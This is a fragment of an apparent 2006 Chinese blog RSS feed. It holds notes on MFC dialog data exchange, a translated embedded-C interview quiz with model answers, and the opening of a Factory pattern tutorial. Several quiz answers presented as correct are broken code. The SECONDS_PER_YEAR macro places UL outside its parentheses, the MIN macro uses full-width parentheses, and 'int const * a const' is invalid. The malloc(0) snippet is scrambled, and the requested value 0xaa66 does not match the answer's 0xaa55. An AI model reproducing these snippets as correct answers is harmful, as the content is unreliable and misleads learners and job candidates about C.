/>   DDX_Text(&amp;dx,IDC_MONTH,m_sMonth);<br />   DDX_Text(&amp;dx,IDC_YEAR,m_sYear);<br />说明一：<br />CDataExchange类构造函数：（注，在MFC|SRC|AFXWIN.H中可以看到其构造函数声明，在MFC|SRC|WINCORE.CPP文件中可以看到其构造函数的定义。）<br />原型：CDataExchange::CDataExchange(CWnd* pDlgWnd, BOOL bSaveAndValidate);<br />定义：<br />CDataExchange::CDataExchange(CWnd* pDlgWnd, BOOL bSaveAndValidate)<br />{<br /> ASSERT_VALID(pDlgWnd);<br /> m_bSaveAndValidate = bSaveAndValidate;<br /> m_pDlgWnd = pDlgWnd;<br /> m_hWndLastControl = NULL;<br />}</p><p>//其中m_pDlgWnd和m_bSaveAndValidate是CDataExchange数据成员,可以通过这中方式给它们赋值。<br />m_pDlgWnd：The dialog box or window where the data exchange takes place.<br />m_bSaveAndValidate Flag for the direction of DDX and DDV. 详见说明二。</p><p>说明二：<br />//CDataExchange does not have a base class.<br />//The CDataExchange class supports the dialog data exchange (DDX) and dialog data validation (DDV) routines used by the Microsoft Foundation classes. Use this class if you are writing data exchange routines for custom data types or controls, or if you are writing your own data validation routines.<br />//A CDataExchange object provides the context information needed for DDX and DDV to take place. The flag m_bSaveAndValidate is FALSE when DDX is used to fill the initial values of dialog controls from data members. The flag m_bSaveAndValidate is TRUE when DDX is used to set the current values of dialog controls into data members and when DDV is used to validate the data values. If the DDV validation fails, the DDV procedure will display a message box explaining the input error. The DDV procedure will then call Fail to reset the focus to the offending control and throw an exception to stop the validation process.</p><p><br />代码二：（是为了比较代码一做些说明的）<br />void CActiveXDialog::DoDataExchange(CDataExchange* pDX)<br />{<br /> CDialog::DoDataExchange(pDX);//调用基类的DoDataExchange<br /> //{{AFX_DATA_MAP(CActiveXDialog)<br /> DDX_Control(pDX, IDC_CALENDAR1, m_calendar);<br /> DDX_Text(pDX, IDC_DAY, m_sDay);<br /> DDX_Text(pDX, IDC_MONTH, m_sMonth);<br /> DDX_Text(pDX, IDC_YEAR, m_sYear);<br /> //}}AFX_DATA_MAP<br />}<br />说明一：<br />//DoDataExchange Called by the framework to exchange and validate dialog data.<br />//DoDataExchange Never call this function directly. It is called by the UpdateData member function. Call UpdateData to initialize a dialog box’s controls or retrieve data from a dialog box.<br />说明二：<br />//在MFC|SRC|WINCORE.CPP文件中可以看到UpdateData函数的定义<br />BOOL CWnd::UpdateData(BOOL bSaveAndValidate)<br />{ ... <br /> CDataExchange dx(this, bSaveAndValidate);//创建了一个CDataExchange对象，与当前窗口相关联<br /> ...<br /> DoDataExchange(&amp;dx); //注意：DoDataExchange是个虚函数。子类中如果有重写了，则调用子类的。<br /> ...<br />}<br />说明三：<br />//在MFC|Include|AFXWIN2.INL文件中可有看到CWnd::DoDataExchange的如下定义（内联）：<br />// CWnd dialog data support<br />_AFXWIN_INLINE void CWnd::DoDataExchange(CDataExchange*)<br /> { } // default does nothing<br />由此可见代码二中CDialog::DoDataExchange(pDX)调用好象是个‘摆设’，不起做任何事情。框架设置DoDataExchange函数目的是在我们子窗口类（这里是对话筐）中重写它，添加代码完成子窗口类（这里是对话筐）中数据成员与对话筐上控件的交互。<br />说明四：<br />如果结合UpdateData和DoDataExchange两函数整体来看，应该体会到这里代码一与代码二实质上是一会事情。代码二只是借助了框架兜了些圈子。</p><p>说明四：<br />摘录MSDN中Dialog Data Exchange一些E文段落对上讨论做个总结：<br />Dialog Data Exchange</p><p>If you use the DDX mechanism, you set the initial values of the dialog object’s member variables, typically in your OnInitDialog handler or the dialog constructor. Immediately before the dialog is displayed, the framework’s DDX mechanism transfers the values of the member variables to the controls in the dialog box, where they appear when the dialog box itself appears in response to DoModal or Create. The default implementation of OnInitDialog in CDialog calls the UpdateData member function of class CWnd to initialize the controls in the dialog box.</p><p>The same mechanism transfers values from the controls to the member variables when the user clicks the OK button (or whenever you call the UpdateData member function with the argument TRUE). The dialog data validation mechanism validates any data items for which you specified validation rules. </p><p>UpdateData works in both directions, as specified by the BOOL parameter passed to it. To carry out the exchange, UpdateData sets up a CDataExchange object and calls your dialog class’s override of CDialog’s DoDataExchange member function. DoDataExchange takes an argument of type CDataExchange. The CDataExchange object passed to UpdateData represents the context of the exchange, defining such information as the direction of the exchange.</p><p>When you (or ClassWizard) override DoDataExchange, you specify a call to one DDX function per data member (control). Each DDX function knows how to exchange data in both directions based on the context supplied by the CDataExchange argument passed to your DoDataExchange by UpdateData.</p><p>MFC provides many DDX functions for different kinds of exchange.</p><p>If the user cancels a modal dialog box, the OnCancel member function terminates the dialog box and DoModal returns the value IDCANCEL. In that case, no data is exchanged between the dialog box and the dialog object.</p><p>9）当输入焦点在某ActiveX控件上时，按下F1键引起OnHelpInfo函数调用，可在OnHelpInfo函数中设置帮助信息。<br />说明：<br />ClassWizard不能修改生成的ActiveX控件类，因而必须手工加入消息映射代码。事例代码如下：<br />//在ActiveX控件类头文件中加入函数原型并声明消息映射表：<br /> protected:<br />  afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo);<br />  DECLARE_MESSAGE_MAP()//在ActiveX控件类代码文件中添加消息映射及OnHelpInfo函数定义：<br /> BEGIN_MESSAGE_MAP(CCalendar,CWnd)<br />  ON_WM_HELPINFO()<br /> END_MESSAGE_MAP()<br />/**<br /> BOOL CCalendar::OnHelpInfo(HELPINFO *pHelpInfo)<br />{<br /> ::WinHelp(GetSafeHwnd(),"C:\WINDOWS\system32\MSCAL.hlp",<br />    HELP_FINDER,0);<br /> return FALSE;<br />}</p><p>/////////////////<br />//////////////<br />///////////</p><p>7，在运行时创建ActiveX控件：<br />1）在项目中插入ActiveX控件。ClassWizard会生存相应的ActiveX控件类的文件。<br />2）在使用ActiveX控件的对话框或窗口类中添加ActiveX控件类数据成员。<br />3）重写CDialog::OnInitDialog（或其它窗口中响应WM_CREAT消息），在新的函数中调用ActiveX控件类Create函数。<br />4）在父窗口类中，手工添加必要的与新控件有关的事件消息处理函数及原型，和相应的消息映射。</p><p>/////////<br />8，更多的ActiveX控件编程参见P160-167页（ActiveX控件在HTML文件中使用 和 在运行时创建ActiveX控件）。</p><p><br /></p><img src ="http://www.cnitblog.com/weitom1982/aggbug/8748.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/weitom1982/" target="_blank">高山流水</a> 2006-04-03 17:41 <a href="http://www.cnitblog.com/weitom1982/archive/2006/04/03/8748.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[硬件技术]想成为嵌入式程序员所必须了解的C问题 </title><link>http://www.cnitblog.com/weitom1982/archive/2006/04/03/8739.html</link><dc:creator>高山流水</dc:creator><author>高山流水</author><pubDate>Mon, 03 Apr 2006 08:04:00 GMT</pubDate><guid>http://www.cnitblog.com/weitom1982/archive/2006/04/03/8739.html</guid><wfw:comment>http://www.cnitblog.com/weitom1982/comments/8739.html</wfw:comment><comments>http://www.cnitblog.com/weitom1982/archive/2006/04/03/8739.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/weitom1982/comments/commentRss/8739.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/weitom1982/services/trackbacks/8739.html</trackback:ping><description><![CDATA[
		<p>
		</p>
		<table class="center_tdbgall" style="WORD-BREAK: break-all" cellspacing="0" cellpadding="0" width="760" align="center" border="0">
				<tbody>
						<tr>
								<td class="main_tdbg_760" id="fontzoom" style="WORD-BREAK: break-all" valign="top" colspan="2" height="300">C语言测试是招聘嵌入式系统程序员过程中必须而且有效的方法。这些年，我既参加也组织<br /><br />了许多这种测试，在这过程中我意识到这些测试能为带面试者和被面试者提供许多有用信<br /><br />息，此外，撇开面试的压力不谈，这种测试也是相当有趣的。<br />从被面试者的角度来讲，你能了解许多关于出题者或监考者的情况。这个测试只是出题者<br /><br />为显示其对ANSI标准细节的知识而不是技术技巧而设计吗？这个愚蠢的问题吗？如要你答<br /><br />出某个字符的ASCII值。这些问题着重考察你的系统调用和内存分配策略方面的能力吗？这<br /><br />标志着出题者也许花时间在微机上而不上在嵌入式系统上。如果上述任何问题的答案是“<br /><br />是”的话，那么我知道我得认真考虑我是否应该去做这份工作。<br />从面试者的角度来讲，一个测试也许能从多方面揭示应试者的素质：最基本的，你能了解<br /><br />应试者C语言的水平。不管怎么样，看一下这人如何回答他不会的问题也是满有趣。应试者<br /><br />是以好的直觉做出明智的选择，还是只是瞎蒙呢？当应试者在某个问题上卡住时是找借口<br /><br />呢，还是表现出对问题的真正的好奇心，把这看成学习的机会呢？我发现这些信息与他们<br /><br />的测试成绩一样有用。<br />有了这些想法，我决定出一些真正针对嵌入式系统的考题，希望这些令人头痛的考题能给<br /><br />正在找工作的人一点帮住。这些问题都是我这些年实际碰到的。其中有些题很难，但它们<br /><br />应该都能给你一点启迪。<br />这个测试适于不同水平的应试者，大多数初级水平的应试者的成绩会很差，经验丰富的程<br /><br />序员应该有很好的成绩。为了让你能自己决定某些问题的偏好，每个问题没有分配分数，<br /><br />如果选择这些考题为你所用，请自行按你的意思分配分数。<br />预处理器（Preprocessor）<br /><br />1 . 用预处理指令#define 声明一个常数，用以表明1年中有多少秒（忽略闰年问题）<br /><br /><br />#define SECONDS_PER_YEAR (60 * 60 * 24 * 365)UL<br />我在这想看到几件事情：<br />&amp;#8226;; #define 语法的基本知识（例如：不能以分号结束，括号的使用，等等）<br /><br /><br />&amp;#8226;; 懂得预处理器将为你计算常数表达式的值，因此，直接写出你是如何计算一年中<br /><br />有多少秒而不是计算出实际的值，是更清晰而没有代价的。<br />&amp;#8226;; 意识到这个表达式将使一个16位机的整型数溢出-因此要用到长整型符号L,告诉<br /><br />编译器这个常数是的长整型数。<br />&amp;#8226;; 如果你在你的表达式中用到UL（表示无符号长整型），那么你有了一个好的起点<br /><br />。记住，第一印象很重要。<br />2 . 写一个“标准”宏MIN ，这个宏输入两个参数并返回较小的一个。<br /><br /><br />#define MIN(A,B) （（A） &lt;= (B) ? (A) : (B)) <br /><br />这个测试是为下面的目的而设的：<br />&amp;#8226;; 标识#define在宏中应用的基本知识。这是很重要的，因为直到嵌入(inline)操<br /><br />作符变为标准C的一部分，宏是方便产生嵌入代码的唯一方法，对于嵌入式系统来说，为了<br /><br />能达到要求的性能，嵌入代码经常是必须的方法。<br />&amp;#8226;; 三重条件操作符的知识。这个操作符存在C语言中的原因是它使得编译器能产生<br /><br />比if-then-else更优化的代码，了解这个用法是很重要的。<br />&amp;#8226;; 懂得在宏中小心地把参数用括号括起来<br />&amp;#8226;; 我也用这个问题开始讨论宏的副作用，例如：当你写下面的代码时会发生什么事<br /><br />？<br /><br />least = MIN(*p++, b);<br /><br /><br />3. 预处理器标识#error的目的是什么？<br />如果你不知道答案，请看参考文献1。这问题对区分一个正常的伙计和一个书呆子是很有用<br /><br />的。只有书呆子才会读C语言课本的附录去找出象这种问题的答案。当然如果你不是在找一<br /><br />个书呆子，那么应试者最好希望自己不要知道答案。<br />死循环（Infinite loops）<br /><br /><br />4. 嵌入式系统中经常要用到无限循环，你怎么样用C编写死循环呢？<br />这个问题用几个解决方案。我首选的方案是：<br /><br />while(1)<br />{<br />?}<br /><br /><br /><br />一些程序员更喜欢如下方案：<br /><br />for(;;)<br />{<br />?}<br /><br /><br /><br />这个实现方式让我为难，因为这个语法没有确切表达到底怎么回事。如果一个应试者给出<br /><br />这个作为方案，我将用这个作为一个机会去探究他们这样做的基本原理。如果他们的基本<br /><br />答案是：“我被教着这样做，但从没有想到过为什么。”这会给我留下一个坏印象。<br />第三个方案是用 goto<br /><br />Loop:<br />...<br />goto Loop;<br /><br /><br />应试者如给出上面的方案，这说明或者他是一个汇编语言程序员（这也许是好事）或者他<br /><br />是一个想进入新领域的BASIC/FORTRAN程序员。<br /><br />数据声明（Data declarations） <br /><br />5. 用变量a给出下面的定义<br />a) 一个整型数（An integer） <br />b)一个指向整型数的指针（ A pointer to an integer） <br />c)一个指向指针的的指针，它指向的指针是指向一个整型数（ A pointer to a pointer <br /><br />to an intege）r <br />d)一个有10个整型数的数组（ An array of 10 integers） <br />e) 一个有10个指针的数组，该指针是指向一个整型数的。（An array of 10 pointers t<br /><br />o integers） <br />f) 一个指向有10个整型数数组的指针（ A pointer to an array of 10 integers） <br />g) 一个指向函数的指针，该函数有一个整型参数并返回一个整型数（A pointer to a fu<br /><br />nction that takes an integer as an argument and returns an integer） <br />h)一个有10个指针的数组，该指针指向一个函数，该函数有一个整型参数并返回一个整型<br /><br />数（ An array of ten pointers to functions that take an integer argument and r<br /><br />eturn an integer ）<br /><br />答案是： <br />a) int a; // An integer <br />b) int *a; // A pointer to an integer <br />c) int **a; // A pointer to a pointer to an integer <br />d) int a[10]; // An array of 10 integers <br />e) int *a[10]; // An array of 10 pointers to integers <br />f) int (*a)[10]; // A pointer to an array of 10 integers <br />g) int (*a)(int); // A pointer to a function a that takes an integer argument <br /><br />and returns an integer <br />h) int (*a[10])(int); // An array of 10 pointers to functions that take an int<br /><br />eger argument and return an integer <br />人们经常声称这里有几个问题是那种要翻一下书才能回答的问题，我同意这种说法。当我<br /><br />写这篇文章时，为了确定语法的正确性，我的确查了一下书。但是当我被面试的时候，我<br /><br />期望被问到这个问题（或者相近的问题）。因为在被面试的这段时间里，我确定我知道这<br /><br />个问题的答案。应试者如果不知道所有的答案（或至少大部分答案），那么也就没有为这<br /><br />次面试做准备，如果该面试者没有为这次面试做准备，那么他又能为什么出准备呢？<br />Static <br />6. 关键字static的作用是什么？<br />这个简单的问题很少有人能回答完全。在C语言中，关键字static有三个明显的作用：<br />&amp;#8226;; 在函数体，一个被声明为静态的变量在这一函数被调用过程中维持其值不变。<br /><br /><br />&amp;#8226;; 在模块内（但在函数体外），一个被声明为静态的变量可以被模块内所用函数访<br /><br />问，但不能被模块外其它函数访问。它是一个本地的全局变量。<br />&amp;#8226;; 在模块内，一个被声明为静态的函数只可被这一模块内的其它函数调用。那就是<br /><br />，这个函数被限制在声明它的模块的本地范围内使用。<br />大多数应试者能正确回答第一部分，一部分能正确回答第二部分，同是很少的人能懂得第<br /><br />三部分。这是一个应试者的严重的缺点，因为他显然不懂得本地化数据和代码范围的好处<br /><br />和重要性。<br /><br /><br />Const <br /><br />7．关键字const有什么含意？<br />我只要一听到被面试者说：“const意味着常数”，我就知道我正在和一个业余者打交道。<br /><br />去年Dan Saks已经在他的文章里完全概括了const的所有用法，因此ESP(译者：Embedded <br /><br />Systems Programming)的每一位读者应该非常熟悉const能做什么和不能做什么.如果你从<br /><br />没有读到那篇文章，只要能说出const意味着“只读”就可以了。尽管这个答案不是完全的<br /><br />答案，但我接受它作为一个正确的答案。（如果你想知道更详细的答案，仔细读一下Saks<br /><br />的文章吧。）<br />如果应试者能正确回答这个问题，我将问他一个附加的问题：<br />下面的声明都是什么意思？<br /><br />const int a;<br />int const a;<br />const int *a;<br />int * const a;<br />int const * a const;<br /><br />/******/<br />前两个的作用是一样，a是一个常整型数。第三个意味着a是一个指向常整型数的指针（也<br /><br />就是，整型数是不可修改的，但指针可以）。第四个意思a是一个指向整型数的常指针（也<br /><br />就是说，指针指向的整型数是可以修改的，但指针是不可修改的）。最后一个意味着a是一<br /><br />个指向常整型数的常指针（也就是说，指针指向的整型数是不可修改的，同时指针也是不<br /><br />可修改的）。如果应试者能正确回答这些问题，那么他就给我留下了一个好印象。顺带提<br /><br />一句，也许你可能会问，即使不用关键字const，也还是能很容易写出功能正确的程序，那<br /><br />么我为什么还要如此看重关键字const呢？我也如下的几下理由：<br />&amp;#8226;; 关键字const的作用是为给读你代码的人传达非常有用的信息，实际上，声明一<br /><br />个参数为常量是为了告诉了用户这个参数的应用目的。如果你曾花很多时间清理其它人留<br /><br />下的垃圾，你就会很快学会感谢这点多余的信息。（当然，懂得用const的程序员很少会留<br /><br />下的垃圾让别人来清理的。）<br />&amp;#8226;; 通过给优化器一些附加的信息，使用关键字const也许能产生更紧凑的代码。<br />&amp;#8226;; 合理地使用关键字const可以使编译器很自然地保护那些不希望被改变的参数，<br /><br />防止其被无意的代码修改。简而言之，这样可以减少bug的出现。<br />Volatile <br /><br />8. 关键字volatile有什么含意?并给出三个不同的例子。<br />一个定义为volatile的变量是说这变量可能会被意想不到地改变，这样，编译器就不会去<br /><br />假设这个变量的值了。精确地说就是，优化器在用到这个变量时必须每次都小心地重新读<br /><br />取这个变量的值，而不是使用保存在寄存器里的备份。下面是volatile变量的几个例子：<br /><br /><br />&amp;#8226;; 并行设备的硬件寄存器（如：状态寄存器）<br />&amp;#8226;; 一个中断服务子程序中会访问到的非自动变量(Non-automatic variables)<br />&amp;#8226;; 多线程应用中被几个任务共享的变量<br /><br />回答不出这个问题的人是不会被雇佣的。我认为这是区分C程序员和嵌入式系统程序员的最<br /><br />基本的问题。搞嵌入式的家伙们经常同硬件、中断、RTOS等等打交道，所有这些都要求用<br /><br />到volatile变量。不懂得volatile的内容将会带来灾难。<br />假设被面试者正确地回答了这是问题（嗯，怀疑是否会是这样），我将稍微深究一下，看<br /><br />一下这家伙是不是直正懂得volatile完全的重要性。<br />&amp;#8226;; 一个参数既可以是const还可以是volatile吗？解释为什么。<br />&amp;#8226;; 一个指针可以是volatile 吗？解释为什么。<br />&amp;#8226;; 下面的函数有什么错误：<br />int square(volatile int *ptr)<br />{<br />return *ptr * *ptr;<br />}<br /><br />下面是答案：<br />&amp;#8226;; 是的。一个例子是只读的状态寄存器。它是volatile因为它可能被意想不到地改<br /><br />变。它是const因为程序不应该试图去修改它。<br />&amp;#8226;; 是的。尽管这并不很常见。一个例子是当一个中服务子程序修该一个指向一个b<br /><br />uffer的指针时。<br />&amp;#8226;; 这段代码有点变态。这段代码的目的是用来返指针*ptr指向值的平方，但是，由<br /><br />于*ptr指向一个volatile型参数，编译器将产生类似下面的代码：<br /><br /><br />int square(volatile int *ptr) <br />{<br />int a,b;<br />a = *ptr;<br />b = *ptr;<br />return a * b;<br />}<br /><br /><br />由于*ptr的值可能被意想不到地该变，因此a和b可能是不同的。结果，这段代码可能返不<br /><br />是你所期望的平方值！正确的代码如下：<br /><br />long square(volatile int *ptr) <br />{<br />int a;<br />a = *ptr;<br />return a * a;<br />}<br /><br />位操作（Bit manipulation） <br /><br />9. 嵌入式系统总是要用户对变量或寄存器进行位操作。给定一个整型变量a，写两段代码<br /><br />，第一个设置a的bit 3，第二个清除a 的bit 3。在以上两个操作中，要保持其它位不变。<br /><br /><br />对这个问题有三种基本的反应<br />&amp;#8226;; 不知道如何下手。该被面者从没做过任何嵌入式系统的工作。<br />&amp;#8226;; 用bit fields。Bit fields是被扔到C语言死角的东西，它保证你的代码在不同<br /><br />编译器之间是不可移植的，同时也保证了的你的代码是不可重用的。我最近不幸看到Infi<br /><br />neon为其较复杂的通信芯片写的驱动程序，它用到了bit fields因此完全对我无用，因为<br /><br />我的编译器用其它的方式来实现bit fields的。从道德讲：永远不要让一个非嵌入式的家<br /><br />伙粘实际硬件的边。<br />&amp;#8226;; 用 #defines 和 bit masks 操作。这是一个有极高可移植性的方法，是应该被<br /><br />用到的方法。最佳的解决方案如下：<br /><br /><br />#define BIT3 (0x1 &lt;&lt; 3)<br />static int a;<br /><br />void set_bit3(void) {<br />a |= BIT3;<br />}<br />void clear_bit3(void) {<br />a &amp;= ~BIT3;<br />}<br /><br />一些人喜欢为设置和清除值而定义一个掩码同时定义一些说明常数，这也是可以接受的。<br /><br />我希望看到几个要点：说明常数、|=和&amp;=~操作。<br />访问固定的内存位置（Accessing fixed memory locations） <br /><br />10. 嵌入式系统经常具有要求程序员去访问某特定的内存位置的特点。在某工程中，要求<br /><br />设置一绝对地址为0x67a9的整型变量的值为0xaa66。编译器是一个纯粹的ANSI编译器。写<br /><br />代码去完成这一任务。<br />这一问题测试你是否知道为了访问一绝对地址把一个整型数强制转换（typecast）为一指<br /><br />针是合法的。这一问题的实现方式随着个人风格不同而不同。典型的类似代码如下：<br /><br />int *ptr;<br />ptr = (int *)0x67a9;<br />*ptr = 0xaa55;<br /><br />A more obscure approach is: <br />一个较晦涩的方法是：<br /><br />*(int * const)(0x67a9) = 0xaa55;<br /><br />即使你的品味更接近第二种方案，但我建议你在面试时使用第一种方案。<br /><br />中断（Interrupts） <br /><br />11. 中断是嵌入式系统中重要的组成部分，这导致了很多编译开发商提供一种扩展—让标<br /><br />准C支持中断。具代表事实是，产生了一个新的关键字__interrupt。下面的代码就使用了<br /><br />__interrupt关键字去定义了一个中断服务子程序(ISR)，请评论一下这段代码的。<br /><br />__interrupt double compute_area (double radius) <br />{<br />double area = PI * radius * radius;<br />printf("\nArea = %f", area);<br />return area;<br />}<br /><br />这个函数有太多的错误了，以至让人不知从何说起了：<br />&amp;#8226;; ISR 不能返回一个值。如果你不懂这个，那么你不会被雇用的。<br />&amp;#8226;; ISR 不能传递参数。如果你没有看到这一点，你被雇用的机会等同第一项。<br />&amp;#8226;; 在许多的处理器/编译器中，浮点一般都是不可重入的。有些处理器/编译器需要<br /><br />让额处的寄存器入栈，有些处理器/编译器就是不允许在ISR中做浮点运算。此外，ISR应该<br /><br />是短而有效率的，在ISR中做浮点运算是不明智的。<br />&amp;#8226;; 与第三点一脉相承，printf()经常有重入和性能上的问题。如果你丢掉了第三和<br /><br />第四点，我不会太为难你的。不用说，如果你能得到后两点，那么你的被雇用前景越来越<br /><br />光明了。<br /><br />*****<br />代码例子（Code examples）<br /><br />12 . 下面的代码输出是什么，为什么？<br /><br />void foo(void)<br />{<br />unsigned int a = 6;<br />int b = -20;<br />(a+b &gt; 6) ? puts("&gt; 6") : puts("&lt;= 6");<br />}<br />这个问题测试你是否懂得C语言中的整数自动转换原则，我发现有些开发者懂得极少这些东<br /><br />西。不管如何，这无符号整型问题的答案是输出是 ”&gt;6”。原因是当表达式中存在有符号<br /><br />类型和无符号类型时所有的操作数都自动转换为无符号类型。 因此-20变成了一个非常大<br /><br />的正整数，所以该表达式计算出的结果大于6。这一点对于应当频繁用到无符号数据类型的<br /><br />嵌入式系统来说是丰常重要的。如果你答错了这个问题，你也就到了得不到这份工作的边<br /><br />缘。<br />13. 评价下面的代码片断：<br /><br />unsigned int zero = 0;<br />unsigned int compzero = 0xFFFF; <br />/*1's complement of zero */<br /><br />对于一个int型不是16位的处理器为说，上面的代码是不正确的。应编写如下：<br /><br />unsigned int compzero = ~0;<br /><br />这一问题真正能揭露出应试者是否懂得处理器字长的重要性。在我的经验里，好的嵌入式<br /><br />程序员非常准确地明白硬件的细节和它的局限，然而PC机程序往往把硬件作为一个无法避<br /><br />免的烦恼。<br />到了这个阶段，应试者或者完全垂头丧气了或者信心满满志在必得。如果显然应试者不是<br /><br />很好，那么这个测试就在这里结束了。但如果显然应试者做得不错，那么我就扔出下面的<br /><br />追加问题，这些问题是比较难的，我想仅仅非常优秀的应试者能做得不错。提出这些问题<br /><br />，我希望更多看到应试者应付问题的方法，而不是答案。不管如何，你就当是这个娱乐吧<br /><br />…<br /><br />动态内存分配（Dynamic memory allocation） <br />14. 尽管不像非嵌入式计算机那么常见，嵌入式系统还是有从堆（heap）中动态分配内存<br /><br />的过程的。那么嵌入式系统中，动态分配内存可能发生的问题是什么？<br />这里，我期望应试者能提到内存碎片，碎片收集的问题，变量的持行时间等等。这个主题<br /><br />已经在ESP杂志中被广泛地讨论过了（主要是 P.J. Plauger, 他的解释远远超过我这里能<br /><br />提到的任何解释），所有回过头看一下这些杂志吧！让应试者进入一种虚假的安全感觉后<br /><br />，我拿出这么一个小节目：<br />下面的代码片段的输出是什么，为什么？<br /><br />char *ptr;<br />if ((ptr = (char *)malloc(0)) == <br />NULL) <br />else<br />puts("Got a null pointer");<br />puts("Got a valid pointer");<br /><br />这是一个有趣的问题。最近在我的一个同事不经意把0值传给了函数malloc，得到了一个合<br /><br />法的指针之后，我才想到这个问题。这就是上面的代码，该代码的输出是“Got a valid <br /><br />pointer”。我用这个来开始讨论这样的一问题，看看被面试者是否想到库例程这样做是正<br /><br />确。得到正确的答案固然重要，但解决问题的方法和你做决定的基本原理更重要些。<br />Typedef <br /><font class="f006">: </font><br />15 Typedef 在C语言中频繁用以声明一个已经存在的数据类型的同义字。也可以用预处理<br /><br />器做类似的事。例如，思考一下下面的例子：<br /><br />#define dPS struct s *<br />typedef struct s * tPS;<br /><br />以上两种情况的意图都是要定义dPS 和 tPS 作为一个指向结构s指针。哪种方法更好呢？<br /><br />（如果有的话）为什么？<br />这是一个非常微妙的问题，任何人答对这个问题（正当的原因）是应当被恭喜的。答案是<br /><br />：typedef更好。思考下面的例子：<br /><br />dPS p1,p2;<br />tPS p3,p4;<br /><br />第一个扩展为<br /><br />struct s * p1, p2;<br /><br />.<br />上面的代码定义p1为一个指向结构的指，p2为一个实际的结构，这也许不是你想要的。第<br /><br />二个例子正确地定义了p3 和p4 两个指针。<br /><br />晦涩的语法<br /><br />16 . C语言同意一些令人震惊的结构,下面的结构是合法的吗，如果是它做些什么？<br /><br />int a = 5, b = 7, c;<br />c = a+++b;<br /><br />这个问题将做为这个测验的一个愉快的结尾。不管你相不相信，上面的例子是完全合乎语<br /><br />法的。问题是编译器如何处理它？水平不高的编译作者实际上会争论这个问题，根据最处<br /><br />理原则，编译器应当能处理尽可能所有合法的用法。因此，上面的代码被处理成：<br /><br />c = a++ + b;<br /><br />因此, 这段代码持行后a = 6, b = 7, c = 12。<br />如果你知道答案，或猜出正确答案，做得好。如果你不知道答案，我也不把这个当作问题<br /><br />。我发现这个问题的最大好处是这是一个关于代码编写风格，代码的可读性，代码的可修<br /><br />改性的好的话题。<br />好了，伙计们，你现在已经做完所有的测试了。</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.cnitblog.com/weitom1982/aggbug/8739.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/weitom1982/" target="_blank">高山流水</a> 2006-04-03 16:04 <a href="http://www.cnitblog.com/weitom1982/archive/2006/04/03/8739.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>设计模式之Factory </title><link>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8433.html</link><dc:creator>高山流水</dc:creator><author>高山流水</author><pubDate>Fri, 31 Mar 2006 05:59:00 GMT</pubDate><guid>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8433.html</guid><wfw:comment>http://www.cnitblog.com/weitom1982/comments/8433.html</wfw:comment><comments>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8433.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/weitom1982/comments/commentRss/8433.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/weitom1982/services/trackbacks/8433.html</trackback:ping><description><![CDATA[
		<div class="postTitle">
				<a href="http://blog.tomxp.com/view/241.html#">
						<font color="#002c99">
						</font>
				</a> </div>
		<div class="postText">
				<table cellspacing="0" cellpadding="0" width="760" align="center" border="0">
						<tbody>
								<tr>
										<td class="title" valign="center" align="middle" height="56">
												<b>
														<font color="#ff0000" size="3">设计模式之<span lang="EN-US">Factory</span><!-- #EndEditable --></font>
												</b>
										</td>
								</tr>
								<tr>
										<td class="formtitle" align="middle" height="40">板桥里人 http://www.jdon.com 2002/10/07</td>
								</tr>
						</tbody>
				</table>
				<table height="98" cellspacing="0" cellpadding="0" width="760" align="center" border="0">
						<tbody>
								<tr>
										<td class="content" height="98">
												<!-- #BeginEditable "3" -->
												<table width="85%" align="center" border="0">
														<tbody>
																<tr>
																		<td>
																				<b>
																						<i>
																								<font size="2">定义<span lang="EN-US">:提供创建对象的接口.</span></font>
																						</i>
																				</b>
																				<p>
																						<b>
																								<i>
																										<font size="2">为何使用<span lang="EN-US">?</span></font>
																								</i>
																						</b>
																						<font size="2">
																								<span lang="EN-US">
																										<br />工厂模式是我们最常用的模式了,著名的Jive论坛 ,就大量使用了工厂模式，工厂模式在Java程序系统可以说是随处可见。</span>
																						</font>
																				</p>
																				<p>
																						<font size="2">为什么工厂模式是如此常用？因为工厂模式就相当于创建实例对象的<span lang="EN-US">new，我们经常要根据类Class生成实例对象，如A a=new A() 工厂模式也是用来创建实例对象的，所以以后new时就要多个心眼，是否可以考虑实用工厂模式，虽然这样做，可能多做一些工作，但会给你系统带来更大的可扩展性和尽量少的修改量。</span></font>
																				</p>
																				<p>
																						<font size="2">我们以类<span lang="EN-US">Sample为例， 如果我们要创建Sample的实例对象:</span></font>
																				</p>
																				<p>
																						<span lang="EN-US">
																								<font size="2">Sample sample=new Sample();</font>
																						</span>
																				</p>
																				<p>
																						<font size="2">可是，实际情况是，通常我们都要在创建<span lang="EN-US">sample实例时做点初始化的工作,比如赋值 查询数据库等。</span></font>
																				</p>
																				<p>
																						<font size="2">首先，我们想到的是，可以使用<span lang="EN-US">Sample的构造函数，这样生成实例就写成:</span></font>
																				</p>
																				<p>
																						<span lang="EN-US">
																								<font size="2">Sample sample=new Sample(参数);</font>
																						</span>
																				</p>
																				<p>
																						<font size="2">但是，如果创建<span lang="EN-US">sample实例时所做的初始化工作不是象赋值这样简单的事，可能是很长一段代码，如果也写入构造函数中，那你的代码很难看了（就需要Refactor重整）。</span></font>
																				</p>
																				<p>
																						<font size="2">为什么说代码很难看，初学者可能没有这种感觉，我们分析如下，初始化工作如果是很长一段代码，说明要做的工作很多，将很多工作装入一个方法中，相当于将很多鸡蛋放在一个篮子里，是很危险的，这也是有背于<span lang="EN-US">Java面向对象的原则，面向对象的封装(Encapsulation)和分派(Delegation)告诉我们，尽量将长的代码分派“切割”成每段，将每段再“封装”起来(减少段和段之间偶合联系性)，这样，就会将风险分散，以后如果需要修改，只要更改每段，不会再发生牵一动百的事情。</span></font>
																				</p>
																				<p>
